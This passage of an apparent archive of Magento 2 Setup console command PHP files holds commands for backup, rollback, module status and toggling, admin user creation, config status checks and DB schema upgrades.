QuestionHelper $helper * @param TextConfigOption|FlagConfigOption\SelectConfigOption $option * @param Boolean $validateInline * @return string[] Array of inputs */ private function askQuestion( InputInterface $input, OutputInterface $output, QuestionHelper $helper, $option, $validateInline = false ) { if ($option instanceof \Magento\Framework\Setup\Option\SelectConfigOption) { if ($option->isValueRequired()) { $question = new ChoiceQuestion( $option->getDescription() . '? ', $option->getSelectOptions(), $option->getDefault() ); } else { $question = new ChoiceQuestion( $option->getDescription() . ' [optional]? ', $option->getSelectOptions(), $option->getDefault() ); } } else { if ($option->isValueRequired()) { $question = new Question( $option->getDescription() . '? ', $option->getDefault() ); } else { $question = new Question( $option->getDescription() . ' [optional]? ', $option->getDefault() ); } } $question->setValidator(function ($answer) use ($option, $validateInline) { if ($option instanceof \Magento\Framework\Setup\Option\SelectConfigOption) { $answer = $option->getSelectOptions()[$answer]; } if ($answer == null) { $answer = ''; } else { $answer = trim($answer); } if ($validateInline) { $option->validate($answer); } return $answer; }); $value = $helper->ask($input, $output, $question); return $value; } /** * Performs validation of admin options if at least one of them was set. * * @param InputInterface $input * @return array */ private function validateAdmin(InputInterface $input): array { if ($input->getOption(AdminAccount::KEY_FIRST_NAME) || $input->getOption(AdminAccount::KEY_LAST_NAME) || $input->getOption(AdminAccount::KEY_EMAIL) || $input->getOption(AdminAccount::KEY_USER) || $input->getOption(AdminAccount::KEY_PASSWORD) ) { return $this->adminUser->validate($input); } return []; } } Magento/Setup/Console/Command/BackupCommand.php000077700000014012151323623130015437 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\Console\MaintenanceModeEnabler; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\MaintenanceMode; use Magento\Framework\Backup\Factory; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Setup\BackupRollbackFactory; use Magento\Setup\Model\ObjectManagerProvider; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Command to backup code base and user data * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class BackupCommand extends AbstractSetupCommand { /** * Name of input options */ const INPUT_KEY_CODE = 'code'; const INPUT_KEY_MEDIA = 'media'; const INPUT_KEY_DB = 'db'; /** * Object Manager * * @var ObjectManagerInterface */ private $objectManager; /** * Factory for BackupRollback * * @var BackupRollbackFactory */ private $backupRollbackFactory; /** * Existing deployment config * * @var DeploymentConfig */ private $deploymentConfig; /** * @var MaintenanceModeEnabler */ private $maintenanceModeEnabler; /** * Constructor * * @param ObjectManagerProvider $objectManagerProvider * @param MaintenanceMode $maintenanceMode deprecated, use $maintenanceModeEnabler instead * @param DeploymentConfig $deploymentConfig * @param MaintenanceModeEnabler $maintenanceModeEnabler * * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ public function __construct( ObjectManagerProvider $objectManagerProvider, MaintenanceMode $maintenanceMode, DeploymentConfig $deploymentConfig, MaintenanceModeEnabler $maintenanceModeEnabler = null ) { $this->objectManager = $objectManagerProvider->get(); $this->backupRollbackFactory = $this->objectManager->get(\Magento\Framework\Setup\BackupRollbackFactory::class); $this->deploymentConfig = $deploymentConfig; $this->maintenanceModeEnabler = $maintenanceModeEnabler ?: $this->objectManager->get(MaintenanceModeEnabler::class); parent::__construct(); } /** * {@inheritdoc} */ protected function configure() { $options = [ new InputOption( self::INPUT_KEY_CODE, null, InputOption::VALUE_NONE, 'Take code and configuration files backup (excluding temporary files)' ), new InputOption( self::INPUT_KEY_MEDIA, null, InputOption::VALUE_NONE, 'Take media backup' ), new InputOption( self::INPUT_KEY_DB, null, InputOption::VALUE_NONE, 'Take complete database backup' ), ]; $this->setName('setup:backup') ->setDescription('Takes backup of Magento Application code base, media and database') ->setDefinition($options); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { if (!$this->deploymentConfig->isAvailable() && ($input->getOption(self::INPUT_KEY_MEDIA) || $input->getOption(self::INPUT_KEY_DB))) { $output->writeln("<info>No information is available: the Magento application is not installed.</info>"); // We need exit code higher than 0 here as an indication return \Magento\Framework\Console\Cli::RETURN_FAILURE; } $returnValue = $this->maintenanceModeEnabler->executeInMaintenanceMode( function () use ($input, $output) { try { $inputOptionProvided = false; $time = time(); $backupHandler = $this->backupRollbackFactory->create($output); if ($input->getOption(self::INPUT_KEY_CODE)) { $backupHandler->codeBackup($time); $inputOptionProvided = true; } if ($input->getOption(self::INPUT_KEY_MEDIA)) { $backupHandler->codeBackup($time, Factory::TYPE_MEDIA); $inputOptionProvided = true; } if ($input->getOption(self::INPUT_KEY_DB)) { $this->setAreaCode(); $backupHandler->dbBackup($time); $inputOptionProvided = true; } if (!$inputOptionProvided) { throw new \InvalidArgumentException( 'Not enough information provided to take backup.' ); } return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } catch (\Exception $e) { $output->writeln('<error>' . $e->getMessage() . '</error>'); return \Magento\Framework\Console\Cli::RETURN_FAILURE; } }, $output, false ); return $returnValue; } /** * Sets area code to start a session for database backup and rollback * * @return void */ private function setAreaCode() { $areaCode = 'adminhtml'; /** @var \Magento\Framework\App\State $appState */ $appState = $this->objectManager->get(\Magento\Framework\App\State::class); $appState->setAreaCode($areaCode); /** @var \Magento\Framework\ObjectManager\ConfigLoaderInterface $configLoader */ $configLoader = $this->objectManager->get(\Magento\Framework\ObjectManager\ConfigLoaderInterface::class); $this->objectManager->configure($configLoader->load($areaCode)); } } Magento/Setup/Console/Command/ModuleStatusCommand.php000077700000012174151323623130016672 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Console\Command; use Magento\Framework\Console\Cli; use Magento\Framework\Module\FullModuleList; use Magento\Framework\Module\ModuleList; use Magento\Setup\Model\ObjectManagerProvider; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Command for displaying status of modules */ class ModuleStatusCommand extends AbstractSetupCommand { /** * @var ObjectManagerProvider */ private $objectManagerProvider; /** * @param ObjectManagerProvider $objectManagerProvider */ public function __construct(ObjectManagerProvider $objectManagerProvider) { $this->objectManagerProvider = $objectManagerProvider; parent::__construct(); } /** * @inheritdoc */ protected function configure() { $this->setName('module:status') ->setDescription('Displays status of modules') ->addArgument( 'module-names', InputArgument::OPTIONAL | InputArgument::IS_ARRAY, 'Optional module name' ) ->addOption('enabled', null, null, 'Print only enabled modules') ->addOption('disabled', null, null, 'Print only disabled modules'); parent::configure(); } /** * @inheritdoc */ protected function execute(InputInterface $input, OutputInterface $output) { $moduleNames = $input->getArgument('module-names'); if (!empty($moduleNames)) { foreach ($moduleNames as $moduleName) { $this->showSpecificModule($moduleName, $output); } return Cli::RETURN_SUCCESS; } $onlyEnabled = $input->getOption('enabled'); if ($onlyEnabled) { return $this->showEnabledModules($output); } $onlyDisabled = $input->getOption('disabled'); if ($onlyDisabled) { return $this->showDisabledModules($output); } $output->writeln('<info>List of enabled modules:</info>'); $this->showEnabledModules($output); $output->writeln(''); $output->writeln("<info>List of disabled modules:</info>"); $this->showDisabledModules($output); $output->writeln(''); return Cli::RETURN_SUCCESS; } /** * Specific module show * * @param string $moduleName * @param OutputInterface $output * @return int */ private function showSpecificModule(string $moduleName, OutputInterface $output): int { $allModules = $this->getAllModules(); if (!in_array($moduleName, $allModules->getNames(), true)) { $output->writeln($moduleName . ' : <error>Module does not exist</error>'); return Cli::RETURN_FAILURE; } $enabledModules = $this->getEnabledModules(); if (in_array($moduleName, $enabledModules->getNames(), true)) { $output->writeln($moduleName . ' : <info>Module is enabled</info>'); return Cli::RETURN_FAILURE; } $output->writeln($moduleName . ' : <info> Module is disabled</info>'); return Cli::RETURN_SUCCESS; } /** * Enable modules show * * @param OutputInterface $output * @return int */ private function showEnabledModules(OutputInterface $output): int { $enabledModules = $this->getEnabledModules(); $enabledModuleNames = $enabledModules->getNames(); if (count($enabledModuleNames) === 0) { $output->writeln('None'); return Cli::RETURN_FAILURE; } $output->writeln(join("\n", $enabledModuleNames)); return Cli::RETURN_SUCCESS; } /** * Disabled modules show * * @param OutputInterface $output * @return int */ private function showDisabledModules(OutputInterface $output): int { $disabledModuleNames = $this->getDisabledModuleNames(); if (count($disabledModuleNames) === 0) { $output->writeln('None'); return Cli::RETURN_FAILURE; } $output->writeln(join("\n", $disabledModuleNames)); return Cli::RETURN_SUCCESS; } /** * Returns all modules * * @return FullModuleList */ private function getAllModules(): FullModuleList { return $this->objectManagerProvider->get() ->create(FullModuleList::class); } /** * Returns enabled modules * * @return ModuleList */ private function getEnabledModules(): ModuleList { return $this->objectManagerProvider->get() ->create(ModuleList::class); } /** * Returns disabled module names * * @return array */ private function getDisabledModuleNames(): array { $fullModuleList = $this->getAllModules(); $enabledModules = $this->getEnabledModules(); return array_diff($fullModuleList->getNames(), $enabledModules->getNames()); } } Magento/Setup/Console/Command/AbstractModuleManageCommand.php000077700000014503151323623130020261 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\Code\GeneratedFiles; use Magento\Setup\Model\ObjectManagerProvider; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Input\InputOption; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Module\Status; use Magento\Framework\Console\Cli; abstract class AbstractModuleManageCommand extends AbstractModuleCommand { /** * Names of input arguments or options */ const INPUT_KEY_ALL = 'all'; const INPUT_KEY_FORCE = 'force'; /** * @var GeneratedFiles */ protected $generatedFiles; /** * @var DeploymentConfig */ protected $deploymentConfig; /** * {@inheritdoc} */ protected function configure() { $this->addOption( self::INPUT_KEY_FORCE, 'f', InputOption::VALUE_NONE, 'Bypass dependencies check' ); $this->addOption( self::INPUT_KEY_ALL, null, InputOption::VALUE_NONE, ($this->isEnable() ? 'Enable' : 'Disable') . ' all modules' ); parent::configure(); } /** * {@inheritdoc} */ protected function isModuleRequired() { return false; } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { $isEnable = $this->isEnable(); if ($input->getOption(self::INPUT_KEY_ALL)) { /** @var \Magento\Framework\Module\FullModuleList $fullModulesList */ $fullModulesList = $this->objectManager->get(\Magento\Framework\Module\FullModuleList::class); $modules = $fullModulesList->getNames(); } else { $modules = $input->getArgument(self::INPUT_KEY_MODULES); } $messages = $this->validate($modules); if (!empty($messages)) { $output->writeln(implode(PHP_EOL, $messages)); // we must have an exit code higher than zero to indicate something was wrong return Cli::RETURN_FAILURE; } try { $modulesToChange = $this->getStatus()->getModulesToChange($isEnable, $modules); } catch (\LogicException $e) { $output->writeln('<error>' . $e->getMessage() . '</error>'); // we must have an exit code higher than zero to indicate something was wrong return Cli::RETURN_FAILURE; } if (!empty($modulesToChange)) { $force = $input->getOption(self::INPUT_KEY_FORCE); if (!$force) { $constraints = $this->getStatus()->checkConstraints($isEnable, $modulesToChange); if ($constraints) { $output->writeln( "<error>Unable to change status of modules because of the following constraints:</error>" ); $output->writeln('<error>' . implode("</error>\n<error>", $constraints) . '</error>'); // we must have an exit code higher than zero to indicate something was wrong return Cli::RETURN_FAILURE; } } $this->setIsEnabled($isEnable, $modulesToChange, $output); $this->cleanup($input, $output); $this->getGeneratedFiles()->requestRegeneration(); if ($force) { $output->writeln( '<error>Alert: You used the --force option.' . ' As a result, modules might not function properly.</error>' ); } } else { $output->writeln('<info>No modules were changed.</info>'); } return Cli::RETURN_SUCCESS; } /** * Enable/disable modules * * @param bool $isEnable * @param string[] $modulesToChange * @param OutputInterface $output * @return void */ private function setIsEnabled($isEnable, $modulesToChange, $output) { $this->getStatus()->setIsEnabled($isEnable, $modulesToChange); if ($isEnable) { $output->writeln('<info>The following modules have been enabled:</info>'); $output->writeln('<info>- ' . implode("\n- ", $modulesToChange) . '</info>'); $output->writeln(''); if ($this->getDeploymentConfig()->isAvailable()) { $output->writeln( '<info>To make sure that the enabled modules are properly registered,' . " run 'setup:upgrade'.</info>" ); } } else { $output->writeln('<info>The following modules have been disabled:</info>'); $output->writeln('<info>- ' . implode("\n- ", $modulesToChange) . '</info>'); $output->writeln(''); } } /** * Get module status * * @return Status */ private function getStatus() { return $this->objectManager->get(Status::class); } /** * Validate list of modules and return error messages * * @param string[] $modules * @return string[] */ protected function validate(array $modules) { $messages = []; if (empty($modules)) { $messages[] = '<error>No modules specified. Specify a space-separated list of modules' . ' or use the --all option</error>'; } return $messages; } /** * Is it "enable" or "disable" command * * @return bool */ abstract protected function isEnable(); /** * Get deployment config * * @return DeploymentConfig * @deprecated 2.0.6 */ private function getDeploymentConfig() { if (!($this->deploymentConfig instanceof DeploymentConfig)) { return $this->objectManager->get(DeploymentConfig::class); } return $this->deploymentConfig; } /** * Get deployment config * * @return GeneratedFiles * @deprecated 2.1.0 */ private function getGeneratedFiles() { if (!($this->generatedFiles instanceof GeneratedFiles)) { return $this->objectManager->get(GeneratedFiles::class); } return $this->generatedFiles; } } Magento/Setup/Console/Command/RollbackCommand.php000077700000017232151323623130015772 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\Console\MaintenanceModeEnabler; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\MaintenanceMode; use Magento\Framework\Backup\Factory; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Setup\BackupRollbackFactory; use Magento\Setup\Model\ObjectManagerProvider; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Question\ConfirmationQuestion; /** * Command to rollback code, media and DB * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class RollbackCommand extends AbstractSetupCommand { /** * Name of input arguments or options */ const INPUT_KEY_CODE_BACKUP_FILE = 'code-file'; const INPUT_KEY_MEDIA_BACKUP_FILE = 'media-file'; const INPUT_KEY_DB_BACKUP_FILE = 'db-file'; /** * Object Manager * * @var ObjectManagerInterface */ private $objectManager; /** * @var BackupRollbackFactory */ private $backupRollbackFactory; /** * Existing deployment config * * @var DeploymentConfig */ private $deploymentConfig; /** * @var MaintenanceModeEnabler */ private $maintenanceModeEnabler; /** * Constructor * * @param ObjectManagerProvider $objectManagerProvider * @param MaintenanceMode $maintenanceMode deprecated, use $maintenanceModeEnabler instead * @param DeploymentConfig $deploymentConfig * @param MaintenanceModeEnabler $maintenanceModeEnabler * * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ public function __construct( ObjectManagerProvider $objectManagerProvider, MaintenanceMode $maintenanceMode, DeploymentConfig $deploymentConfig, MaintenanceModeEnabler $maintenanceModeEnabler = null ) { $this->objectManager = $objectManagerProvider->get(); $this->backupRollbackFactory = $this->objectManager->get(\Magento\Framework\Setup\BackupRollbackFactory::class); $this->deploymentConfig = $deploymentConfig; $this->maintenanceModeEnabler = $maintenanceModeEnabler ?: $this->objectManager->get(MaintenanceModeEnabler::class); parent::__construct(); } /** * @inheritDoc */ protected function configure() { $options = [ new InputOption( self::INPUT_KEY_CODE_BACKUP_FILE, 'c', InputOption::VALUE_REQUIRED, 'Basename of the code backup file in var/backups' ), new InputOption( self::INPUT_KEY_MEDIA_BACKUP_FILE, 'm', InputOption::VALUE_REQUIRED, 'Basename of the media backup file in var/backups' ), new InputOption( self::INPUT_KEY_DB_BACKUP_FILE, 'd', InputOption::VALUE_REQUIRED, 'Basename of the db backup file in var/backups' ), ]; $this->setName('setup:rollback') ->setDescription('Rolls back Magento Application codebase, media and database') ->setDefinition($options); parent::configure(); } /** * @inheritDoc */ protected function execute(InputInterface $input, OutputInterface $output) { if (!$this->deploymentConfig->isAvailable() && ($input->getOption(self::INPUT_KEY_MEDIA_BACKUP_FILE) || $input->getOption(self::INPUT_KEY_DB_BACKUP_FILE)) ) { $output->writeln("<info>No information is available: the Magento application is not installed.</info>"); // we must have an exit code higher than zero to indicate something was wrong return \Magento\Framework\Console\Cli::RETURN_FAILURE; } return $this->maintenanceModeEnabler->executeInMaintenanceMode( function () use ($input, $output) { try { $helper = $this->getHelper('question'); $question = new ConfirmationQuestion( '<info>You are about to remove current code and/or database tables. Are you sure?[y/N]<info>', false ); if (!$helper->ask($input, $output, $question) && $input->isInteractive()) { return \Magento\Framework\Console\Cli::RETURN_FAILURE; } $questionKeep = new ConfirmationQuestion( '<info>Do you want to keep the backups?[y/N]<info>', false ); $keepSourceFile = $helper->ask($input, $output, $questionKeep); $this->doRollback($input, $output, $keepSourceFile); $output->writeln('<info>Please set file permission of bin/magento to executable</info>'); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } catch (\Exception $e) { $output->writeln('<error>' . $e->getMessage() . '</error>'); // we must have an exit code higher than zero to indicate something was wrong return \Magento\Framework\Console\Cli::RETURN_FAILURE; } }, $output, false ); } /** * Check rollback options and rolls back appropriately * * @param InputInterface $input * @param OutputInterface $output * @param boolean $keepSourceFile * @return void * @throws \InvalidArgumentException */ private function doRollback(InputInterface $input, OutputInterface $output, $keepSourceFile) { $inputOptionProvided = false; $rollbackHandler = $this->backupRollbackFactory->create($output); if ($input->getOption(self::INPUT_KEY_CODE_BACKUP_FILE)) { $rollbackHandler->codeRollback( $input->getOption(self::INPUT_KEY_CODE_BACKUP_FILE), Factory::TYPE_FILESYSTEM, $keepSourceFile ); $inputOptionProvided = true; } if ($input->getOption(self::INPUT_KEY_MEDIA_BACKUP_FILE)) { $rollbackHandler->codeRollback( $input->getOption(self::INPUT_KEY_MEDIA_BACKUP_FILE), Factory::TYPE_MEDIA, $keepSourceFile ); $inputOptionProvided = true; } if ($input->getOption(self::INPUT_KEY_DB_BACKUP_FILE)) { $this->setAreaCode(); $rollbackHandler->dbRollback($input->getOption(self::INPUT_KEY_DB_BACKUP_FILE), $keepSourceFile); $inputOptionProvided = true; } if (!$inputOptionProvided) { throw new \InvalidArgumentException( 'Not enough information provided to roll back.' ); } } /** * Sets area code to start a session for database backup and rollback * * @return void */ private function setAreaCode() { $areaCode = 'adminhtml'; /** @var \Magento\Framework\App\State $appState */ $appState = $this->objectManager->get(\Magento\Framework\App\State::class); $appState->setAreaCode($areaCode); /** @var \Magento\Framework\ObjectManager\ConfigLoaderInterface $configLoader */ $configLoader = $this->objectManager->get(\Magento\Framework\ObjectManager\ConfigLoaderInterface::class); $this->objectManager->configure($configLoader->load($areaCode)); } } Magento/Setup/Console/Command/DependenciesShowModulesCircularCommand.php000077700000002761151323623130022507 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\Utility\Files; use Magento\Framework\Component\ComponentRegistrar; use Magento\Setup\Module\Dependency\ServiceLocator; /** * Command for showing number of circular dependencies between modules */ class DependenciesShowModulesCircularCommand extends AbstractDependenciesCommand { /** * {@inheritdoc} */ protected function configure() { $this->setDescription('Shows number of circular dependencies between modules') ->setName('info:dependencies:show-modules-circular'); parent::configure(); } /** * Return default output filename for modules circular dependencies report * * @return string */ protected function getDefaultOutputFilename() { return 'modules-circular-dependencies.csv'; } /** * Build circular dependencies between modules report * * @param string $outputPath * @return void */ protected function buildReport($outputPath) { $filesForParse = Files::init()->getComposerFiles(ComponentRegistrar::MODULE, false); asort($filesForParse); ServiceLocator::getCircularDependenciesReportBuilder()->build( [ 'parse' => ['files_for_parse' => $filesForParse], 'write' => ['report_filename' => $outputPath], ] ); } } Magento/Setup/Console/Command/AdminUserCreateCommand.php000077700000017430151323623130017254 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\Setup\ConsoleLogger; use Magento\Framework\Validation\ValidationException; use Magento\Setup\Model\AdminAccount; use Magento\Setup\Model\InstallerFactory; use Magento\User\Model\UserValidationRules; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Question\Question; /** * Command to create an admin user. */ class AdminUserCreateCommand extends AbstractSetupCommand { /** * @var InstallerFactory */ private $installerFactory; /** * @var UserValidationRules */ private $validationRules; /** * @param InstallerFactory $installerFactory * @param UserValidationRules $validationRules */ public function __construct(InstallerFactory $installerFactory, UserValidationRules $validationRules) { $this->installerFactory = $installerFactory; $this->validationRules = $validationRules; parent::__construct(); } /** * Initialization of the command * * @return void */ protected function configure() { $this->setName('admin:user:create') ->setDescription('Creates an administrator') ->setDefinition($this->getOptionsList()); parent::configure(); } /** * Creation admin user in interaction mode. * * @param \Symfony\Component\Console\Input\InputInterface $input * @param \Symfony\Component\Console\Output\OutputInterface $output * * @SuppressWarnings(PHPMD.CyclomaticComplexity) */ protected function interact(InputInterface $input, OutputInterface $output) { /** @var \Symfony\Component\Console\Helper\QuestionHelper $questionHelper */ $questionHelper = $this->getHelper('question'); if (!$input->getOption(AdminAccount::KEY_USER)) { $question = new Question('<question>Admin user:</question> ', ''); $this->addNotEmptyValidator($question); $input->setOption( AdminAccount::KEY_USER, $questionHelper->ask($input, $output, $question) ); } if (!$input->getOption(AdminAccount::KEY_PASSWORD)) { $question = new Question('<question>Admin password:</question> ', ''); $question->setHidden(true); $question->setValidator(function ($value) { $user = new \Magento\Framework\DataObject(); $user->setPassword($value); $validator = new \Magento\Framework\Validator\DataObject(); $this->validationRules->addPasswordRules($validator); $validator->isValid($user); foreach ($validator->getMessages() as $message) { throw new ValidationException(__($message)); } return $value; }); $input->setOption( AdminAccount::KEY_PASSWORD, $questionHelper->ask($input, $output, $question) ); } if (!$input->getOption(AdminAccount::KEY_EMAIL)) { $question = new Question('<question>Admin email:</question> ', ''); $this->addNotEmptyValidator($question); $input->setOption( AdminAccount::KEY_EMAIL, $questionHelper->ask($input, $output, $question) ); } if (!$input->getOption(AdminAccount::KEY_FIRST_NAME)) { $question = new Question('<question>Admin first name:</question> ', ''); $this->addNotEmptyValidator($question); $input->setOption( AdminAccount::KEY_FIRST_NAME, $questionHelper->ask($input, $output, $question) ); } if (!$input->getOption(AdminAccount::KEY_LAST_NAME)) { $question = new Question('<question>Admin last name:</question> ', ''); $this->addNotEmptyValidator($question); $input->setOption( AdminAccount::KEY_LAST_NAME, $questionHelper->ask($input, $output, $question) ); } } /** * Add not empty validator. * * @param \Symfony\Component\Console\Question\Question $question * @return void */ private function addNotEmptyValidator(Question $question) { $question->setValidator(function ($value) { if (trim($value) == '') { throw new ValidationException(__('The value cannot be empty')); } return $value; }); } /** * @inheritdoc */ protected function execute(InputInterface $input, OutputInterface $output) { $errors = $this->validate($input); if ($errors) { $output->writeln('<error>' . implode('</error>' . PHP_EOL . '<error>', $errors) . '</error>'); // we must have an exit code higher than zero to indicate something was wrong return \Magento\Framework\Console\Cli::RETURN_FAILURE; } $installer = $this->installerFactory->create(new ConsoleLogger($output)); $installer->installAdminUser($input->getOptions()); $output->writeln( '<info>Created Magento administrator user named ' . $input->getOption(AdminAccount::KEY_USER) . '</info>' ); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } /** * Get list of arguments for the command * * @param int $mode The mode of options. * @return InputOption[] */ public function getOptionsList($mode = InputOption::VALUE_REQUIRED) { $requiredStr = ($mode === InputOption::VALUE_REQUIRED ? '(Required) ' : ''); return [ new InputOption( AdminAccount::KEY_USER, null, $mode, $requiredStr . 'Admin user' ), new InputOption( AdminAccount::KEY_PASSWORD, null, $mode, $requiredStr . 'Admin password' ), new InputOption( AdminAccount::KEY_EMAIL, null, $mode, $requiredStr . 'Admin email' ), new InputOption( AdminAccount::KEY_FIRST_NAME, null, $mode, $requiredStr . 'Admin first name' ), new InputOption( AdminAccount::KEY_LAST_NAME, null, $mode, $requiredStr . 'Admin last name' ), ]; } /** * Check if all admin options are provided * * @param InputInterface $input * @return string[] */ public function validate(InputInterface $input) { $errors = []; $user = new \Magento\Framework\DataObject(); $user->setFirstname($input->getOption(AdminAccount::KEY_FIRST_NAME)) ->setLastname($input->getOption(AdminAccount::KEY_LAST_NAME)) ->setUsername($input->getOption(AdminAccount::KEY_USER)) ->setEmail($input->getOption(AdminAccount::KEY_EMAIL)) ->setPassword( $input->getOption(AdminAccount::KEY_PASSWORD) === null ? '' : $input->getOption(AdminAccount::KEY_PASSWORD) ); $validator = new \Magento\Framework\Validator\DataObject(); $this->validationRules->addUserInfoRules($validator); $this->validationRules->addPasswordRules($validator); if (!$validator->isValid($user)) { $errors = array_merge($errors, $validator->getMessages()); } return $errors; } } Magento/Setup/Console/Command/ModuleConfigStatusCommand.php000077700000006437151323623130020025 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Console\Command; use Magento\Framework\App\DeploymentConfig\Reader as ConfigReader; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\Console\Cli; use Magento\Framework\Setup\ConsoleLogger; use Magento\Setup\Model\InstallerFactory; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Command to check if the modules config in app/etc/config.php matches with how Magento interprets it */ class ModuleConfigStatusCommand extends Command { /** * Deployment config reader * * @var ConfigReader */ private $configReader; /** * Installer service factory. * * @var InstallerFactory */ private $installerFactory; /** * @param ConfigReader $configReader * @param InstallerFactory $installerFactory */ public function __construct( ConfigReader $configReader, InstallerFactory $installerFactory ) { $this->configReader = $configReader; $this->installerFactory = $installerFactory; parent::__construct(); } /** * @inheritdoc */ protected function configure() { $this ->setName('module:config:status') ->setDescription( 'Checks the modules configuration in the \'app/etc/config.php\' file ' . 'and reports if they are up to date or not' ); parent::configure(); } /** * @inheritdoc */ protected function execute(InputInterface $input, OutputInterface $output) { try { // the config as currently in app/etc/config.php $currentConfig = $this->configReader->load(ConfigFilePool::APP_CONFIG); if (!array_key_exists(ConfigOptionsListConstants::KEY_MODULES, $currentConfig)) { // phpcs:ignore Magento2.Exceptions.DirectThrow throw new \Exception('Can\'t find the modules configuration in the \'app/etc/config.php\' file.'); } $currentModuleConfig = $currentConfig[ConfigOptionsListConstants::KEY_MODULES]; $installer = $this->installerFactory->create(new ConsoleLogger($output)); // the module config as Magento calculated it $correctModuleConfig = $installer->getModulesConfig(); if ($currentModuleConfig !== $correctModuleConfig) { // phpcs:ignore Magento2.Exceptions.DirectThrow throw new \Exception( 'The modules configuration in the \'app/etc/config.php\' file is outdated. ' . 'Run \'setup:upgrade\' to fix it.' ); } $output->writeln( '<info>The modules configuration is up to date.</info>' ); // phpcs:disable Magento2.Exceptions.ThrowCatch } catch (\Exception $e) { $output->writeln('<error>' . $e->getMessage() . '</error>'); return Cli::RETURN_FAILURE; } return Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/DbSchemaUpgradeCommand.php000077700000005006151323623130017213 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\DeploymentConfig; use Magento\Setup\Model\InstallerFactory; use Magento\Framework\Setup\ConsoleLogger; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Command for install and update of DB schema. */ class DbSchemaUpgradeCommand extends AbstractSetupCommand { /** * Factory to create installer. * * @var InstallerFactory */ private $installFactory; /** * Deployment configuration. * * @var DeploymentConfig */ private $deploymentConfig; /** * Inject dependencies. * * @param InstallerFactory $installFactory * @param DeploymentConfig $deploymentConfig */ public function __construct(InstallerFactory $installFactory, DeploymentConfig $deploymentConfig) { $this->installFactory = $installFactory; $this->deploymentConfig = $deploymentConfig; parent::__construct(); } /** * Initialization of the command. * * @return void */ protected function configure() { $this ->setName('setup:db-schema:upgrade') ->setDefinition( [ new InputOption( InstallCommand::CONVERT_OLD_SCRIPTS_KEY, null, InputOption::VALUE_OPTIONAL, 'Allows to convert old scripts (InstallSchema, UpgradeSchema) to db_schema.xml format', false ) ] ) ->setDescription('Installs and upgrades the DB schema'); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { if (!$this->deploymentConfig->isAvailable()) { $output->writeln("<info>No information is available: the Magento application is not installed.</info>"); // we must have an exit code higher than zero to indicate something was wrong return \Magento\Framework\Console\Cli::RETURN_FAILURE; } $installer = $this->installFactory->create(new ConsoleLogger($output)); $installer->installSchema($input->getOptions()); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/ConfigSetCommand.php000077700000011407151323623130016120 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\Module\ModuleList; use Magento\Setup\Model\ConfigModel; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Question\Question; class ConfigSetCommand extends AbstractSetupCommand { /** * @var ConfigModel */ protected $configModel; /** * Enabled module list * * @var ModuleList */ private $moduleList; /** * Existing deployment config */ private $deploymentConfig; /** * Constructor * * @param \Magento\Setup\Model\ConfigModel $configModel * @param ModuleList $moduleList * @param DeploymentConfig $deploymentConfig */ public function __construct( ConfigModel $configModel, ModuleList $moduleList, DeploymentConfig $deploymentConfig ) { $this->configModel = $configModel; $this->moduleList = $moduleList; $this->deploymentConfig = $deploymentConfig; parent::__construct(); } /** * Initialization of the command * * @return void */ protected function configure() { $options = 